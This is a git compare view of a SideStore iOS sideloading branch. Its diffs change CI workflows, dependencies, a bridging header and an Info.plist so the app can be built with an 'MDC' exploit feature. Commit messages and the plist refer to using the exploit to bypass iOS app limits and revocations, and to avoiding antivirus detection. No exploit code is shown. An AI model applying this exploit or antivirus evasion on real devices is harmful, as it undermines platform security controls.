Compare commits

..

9 Commits

Author SHA1 Message Date
f1shy-dev
8029a34410 Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 19:04:16 +00:00
f1shy-dev
48e0b37b4d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 18:40:52 +00:00
f1shy-dev
2337043466 random file 2023-02-20 22:44:58 +00:00
f1shy-dev
cc6b048b9c so we now aren't detected by like 8 antiviruses but windows defender loves me 2023-02-20 22:44:37 +00:00
f1shy-dev
108f7a936d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-02-20 17:33:50 +00:00
f1shy-dev
46945bc087 remove weird artifacts 2023-02-11 20:20:50 +00:00
f1shy-dev
486b3d12bd mdc v14 2023-02-11 20:16:13 +00:00
f1shy-dev
0dc0ff8151 cache deps 2023-02-06 18:04:36 +00:00
f1shy-dev
b2a1fdb6ee mdc exploit 2023-02-06 17:54:26 +00:00
345 changed files with 3157 additions and 13981 deletions

View File

@@ -27,36 +27,35 @@ jobs:
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Change default icon to beta icon
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Enable MDC
run: make enable_mdc
- name: Fakesign app
run: make fakesign
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
@@ -74,9 +73,7 @@ jobs:
tag_name: ${{ github.ref_name }}
draft: true
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
@@ -91,33 +88,3 @@ jobs:
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*

View File

@@ -7,7 +7,7 @@ DATE=`date -u +'%Y.%m.%d'`
BUILD_NUM=1
write() {
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM/" -i '' Build.xcconfig
echo "$DATE,$BUILD_NUM" > .nightly-build-num
}

View File

@@ -36,39 +36,35 @@ jobs:
- name: Increase nightly build number and set as version
run: bash .github/workflows/increase-nightly-build-num.sh
- name: Change default icon to nightly icon
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Enable MDC
run: make enable_mdc
- name: Fakesign app
run: make fakesign
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
@@ -85,9 +81,7 @@ jobs:
release: "Nightly"
tag: "nightly"
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
@@ -102,35 +96,5 @@ jobs:
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
- name: Reset cache for apps.sidestore.io/nightly
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}

View File

@@ -23,70 +23,30 @@ jobs:
run: brew install ldid
- name: Add PR suffix to version
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short ${COMMIT:-HEAD})/" -i '' Build.xcconfig
env:
COMMIT: ${{ github.event.pull_request.head.sha }}
- name: Change default icon to alpha icon
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Enable MDC
run: make enable_mdc
- name: Fakesign app
run: make fakesign
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
name: SideStore.ipa
path: SideStore.ipa
- name: Upload SideStore-MDC.ipa Artifact
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
name: SideStore-dSYM
path: ./*.dSYM/

View File

@@ -27,33 +27,35 @@ jobs:
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Build SideStore
run: make build | xcpretty && exit ${PIPESTATUS[0]}
- name: Enable MDC
run: make enable_mdc
- name: Fakesign app
run: make fakesign
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Convert to IPA
run: make ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore.ipa
path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Get current date
id: date
@@ -70,9 +72,7 @@ jobs:
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
files: |
SideStore.ipa
SideStore-MDC.ipa
files: SideStore.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
## Changelog
@@ -85,33 +85,3 @@ jobs:
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*

4
.gitignore vendored
View File

@@ -36,8 +36,8 @@ xcuserdata
.idea/
Payload/
SideStore*.ipa
*dSYM
SideStore.ipa
*.dSYM
Dependencies/.*-prebuilt-fetch-*
Dependencies/minimuxer/*

File diff suppressed because it is too large Load Diff

View File

@@ -18,33 +18,6 @@
"version" : "4.4.2"
}
},
{
"identity" : "asyncimage",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/AsyncImage",
"state" : {
"branch" : "main",
"revision" : "018a4fffea025066d795ebb025c2769183f3fffb"
}
},
{
"identity" : "expandabletext",
"kind" : "remoteSourceControl",
"location" : "https://github.com/fabianthdev/ExpandableText",
"state" : {
"branch" : "main",
"revision" : "a375f5b8c73f0af69aa7add890378fdf404a29bc"
}
},
{
"identity" : "inject",
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzysztofzablocki/Inject.git",
"state" : {
"revision" : "abcc4b091fd384cfd09b149a60298b75dc87c5b9",
"version" : "1.2.3"
}
},
{
"identity" : "keychainaccess",
"kind" : "remoteSourceControl",
@@ -63,15 +36,6 @@
"version" : "4.2.0"
}
},
{
"identity" : "localconsole",
"kind" : "remoteSourceControl",
"location" : "https://github.com/naturecodevoid/LocalConsole.git",
"state" : {
"branch" : "main",
"revision" : "4ead9c3e565190172caac62b5179347e02999365"
}
},
{
"identity" : "nuke",
"kind" : "remoteSourceControl",
@@ -99,15 +63,6 @@
"version" : "1.10.1"
}
},
{
"identity" : "reachability.swift",
"kind" : "remoteSourceControl",
"location" : "https://github.com/ashleymills/Reachability.swift",
"state" : {
"branch" : "master",
"revision" : "a81b7367f2c46875f29577e03a60c39cdfad0c8d"
}
},
{
"identity" : "semanticversion",
"kind" : "remoteSourceControl",
@@ -117,15 +72,6 @@
"version" : "0.3.5"
}
},
{
"identity" : "sfsafesymbols",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SFSafeSymbols/SFSafeSymbols",
"state" : {
"revision" : "50bc33264e6c0972f905b61af656201cf6091de8",
"version" : "4.0.0"
}
},
{
"identity" : "sparkle",
"kind" : "remoteSourceControl",
@@ -135,15 +81,6 @@
"version" : "2.1.0"
}
},
{
"identity" : "starscream",
"kind" : "remoteSourceControl",
"location" : "https://github.com/daltoniam/Starscream.git",
"state" : {
"revision" : "df8d82047f6654d8e4b655d1b1525c64e1059d21",
"version" : "4.0.4"
}
},
{
"identity" : "stprivilegedtask",
"kind" : "remoteSourceControl",
@@ -152,15 +89,6 @@
"branch" : "master",
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
}
},
{
"identity" : "zipfoundation",
"kind" : "remoteSourceControl",
"location" : "https://github.com/weichsel/ZIPFoundation.git",
"state" : {
"revision" : "43ec568034b3731101dbf7670765d671c30f54f3",
"version" : "0.9.16"
}
}
],
"version" : 2

View File

@@ -5,8 +5,8 @@
#import "NSAttributedString+Markdown.h"
#import "ALTAppPatcher.h"
#include "fragmentzip.h"
#import "grant_fda.h"
#import "vm_unalign_csr.h"
#import "helping_tools.h"
#ifdef MDC
#import "grant_full_disk_access.h"
#endif /* MDC */
#include "fragmentzip.h"

View File

@@ -10,7 +10,6 @@ import UIKit
import UserNotifications
import AVFoundation
import Intents
import LocalConsole
import AltStoreCore
import AltSign
@@ -59,19 +58,9 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Copy STDOUT and STDERR to the logging console
_ = OutputCapturer.shared
// Register default settings before doing anything else.
UserDefaults.registerDefaults()
#if UNSTABLE
UnstableFeatures.load()
#endif
LCManager.shared.isVisible = UserDefaults.standard.isConsoleEnabled
LCManager.shared.isCharacterLimitDisabled = true // we want all logs exported
DatabaseManager.shared.start { (error) in
if let error = error
{

View File

@@ -1,13 +0,0 @@
//
// Error+Message.swift
// SideStore
//
// Created by naturecodevoid on 5/30/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension Error {
func message() -> String {
(self as? LocalizedError)?.failureReason ?? self.localizedDescription
}
}

View File

@@ -1,19 +0,0 @@
//
// Source+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension Source {
var isOfficial: Bool {
self.identifier == Source.altStoreIdentifier
}
var isTrusted: Bool {
UserDefaults.shared.trustedSourceIDs?.contains(self.identifier) ?? false
}
}

View File

@@ -1,17 +0,0 @@
//
// StoreApp+Searchable.swift
// SideStore
//
// Created by Fabian Thies on 01.12.22.
// Copyright © 2022 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp: Filterable {
func matches(_ searchText: String) -> Bool {
searchText.isEmpty ||
self.name.lowercased().contains(searchText.lowercased()) ||
self.developerName.lowercased().contains(searchText.lowercased())
}
}

View File

@@ -1,15 +0,0 @@
//
// StoreApp+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 4/9/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isSideStore: Bool {
self.bundleIdentifier == Bundle.Info.appbundleIdentifier
}
}

View File

@@ -1,19 +0,0 @@
//
// StoreApp+Trusted.swift
// SideStore
//
// Created by Fabian Thies on 04.02.23.
// Copyright © 2023 SideStore. All rights reserved.
//
import AltStoreCore
extension StoreApp {
var isFromOfficialSource: Bool {
self.source?.isOfficial ?? false
}
var isFromTrustedSource: Bool {
self.source?.isTrusted ?? false
}
}

View File

@@ -1,45 +0,0 @@
//
// UIApplication+SideStore.swift
// SideStore
//
// Created by naturecodevoid on 5/20/23.
// Copyright © 2023 SideStore. All rights reserved.
//
extension UIApplication {
static var keyWindow: UIWindow? {
UIApplication.shared.windows.filter { $0.isKeyWindow }.first
}
static var topController: UIViewController? {
guard var topController = keyWindow?.rootViewController else { return nil }
while let presentedViewController = topController.presentedViewController {
topController = presentedViewController
}
return topController
}
static func alert(
title: String? = nil,
message: String? = nil,
leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil,
leftButtonStyle: UIAlertAction.Style = .default,
rightButtonStyle: UIAlertAction.Style = .default
) {
let alert = UIAlertController(title: title, message: message, preferredStyle: .alert)
if let leftButton = leftButton {
alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action))
}
if let rightButton = rightButton {
alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action))
}
if rightButton == nil && leftButton == nil {
alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default))
}
DispatchQueue.main.async {
topController?.present(alert, animated: true)
}
}
}

View File

@@ -1,22 +0,0 @@
//
// View+Hidden.swift
// SideStore
//
// Created by naturecodevoid on 2/18/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import SwiftUI
// https://stackoverflow.com/a/59228385 (modified)
extension View {
@ViewBuilder func isHidden(_ hidden: Binding<Bool>, remove: Bool = false) -> some View {
if hidden.wrappedValue {
if !remove {
self.hidden()
}
} else {
self
}
}
}

View File

@@ -1,226 +1,212 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<!--
for some reason, when we use the Info.plist preprocessor, 2 slashes in a row
removes the rest of the line and makes the plist invalid. to get around this,
we add a variable expansion ( $() ) in between the slashes that will ultimately
evaluate to nothing, keeping the original URL while keeping the plist valid.
-->
<string>http:/$()/ani.sidestore.io:6969</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>CFBundleTypeIconFiles</key>
<array/>
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true/>
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
<key>UIBackgroundModes</key>
<array>
<string>audio</string>
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
<key>UIStatusBarTintParameters</key>
<dict>
<key>UINavigationBar</key>
<dict>
<key>Style</key>
<string>UIBarStyleDefault</string>
<key>Translucent</key>
<false/>
</dict>
</dict>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
<key>UTImportedTypeDeclarations</key>
<array>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>public.data</string>
</array>
<key>UTTypeDescription</key>
<string>iOS App</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>com.apple.itunes.ipa</string>
<key>UTTypeTagSpecification</key>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
<string>group.com.SideStore.SideStore</string>
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
<array>
<dict>
<key>public.filename-extension</key>
<string>ipa</string>
</dict>
</dict>
<dict>
<key>UTTypeConformsTo</key>
<array>
<string>com.apple.plist</string>
</array>
<key>UTTypeDescription</key>
<string>Mobile Device Pairing</string>
<key>UTTypeIconFiles</key>
<array/>
<key>UTTypeIdentifier</key>
<string>org.sidestore.mobiledevicepairing</string>
<key>UTTypeTagSpecification</key>
<dict>
<key>public.filename-extension</key>
<key>CFBundleTypeIconFiles</key>
<array />
<key>CFBundleTypeName</key>
<string>iOS App</string>
<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSHandlerRank</key>
<string>Alternate</string>
<key>LSItemContentTypes</key>
<array>
<string>mobiledevicepairing</string>
<string>com.apple.itunes.ipa</string>
</array>
</dict>
</array>
<key>CFBundleExecutable</key>
<string>$(EXECUTABLE_NAME)</string>
<key>CFBundleIdentifier</key>
<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore General</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore</string>
<string>sidestore</string>
</array>
</dict>
<dict>
<key>CFBundleTypeRole</key>
<string>Editor</string>
<key>CFBundleURLName</key>
<string>AltStore Backup</string>
<key>CFBundleURLSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>sidestore-com.SideStore.SideStore</string>
</array>
</dict>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>INIntentsSupported</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>LSApplicationQueriesSchemes</key>
<array>
<string>altstore-com.rileytestut.AltStore</string>
<string>altstore-com.rileytestut.AltStore.Beta</string>
<string>altstore-com.rileytestut.Delta</string>
<string>altstore-com.rileytestut.Delta.Beta</string>
<string>altstore-com.rileytestut.Delta.Lite</string>
<string>altstore-com.rileytestut.Delta.Lite.Beta</string>
<string>altstore-com.rileytestut.Clip</string>
<string>altstore-com.rileytestut.Clip.Beta</string>
</array>
<key>LSRequiresIPhoneOS</key>
<true />
<key>LSSupportsOpeningDocumentsInPlace</key>
<true />
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true />
</dict>
<key>NSAppleMusicUsageDescription</key>
<string>So that we can bypass the 3 app limit and disable revokes.</string>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
</array>
<key>NSLocalNetworkUsageDescription</key>
<string>SideStore uses the local network to find and communicate with your device.</string>
<key>NSUserActivityTypes</key>
<array>
<string>RefreshAllIntent</string>
<string>ViewAppIntent</string>
</array>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<true />
<key>UISceneConfigurations</key>
<dict>
<key>UIWindowSceneSessionRoleApplication</key>
<array>
<dict>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>UISceneConfigurationName</key>
<string>Default Configuration</string>
<key>UISceneDelegateClassName</key>
<string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
<key>UISceneStoryboardFile</key>
<string>Main</string>
</dict>
</array>
</dict>
</dict>
</array>
<key>UISupportsDocumentBrowser</key>
<true/>
<key>UIFileSharingEnabled</key>
<true/>
<!--
#if MDC
-->
<key>NSAppleMusicUsageDescription</key>
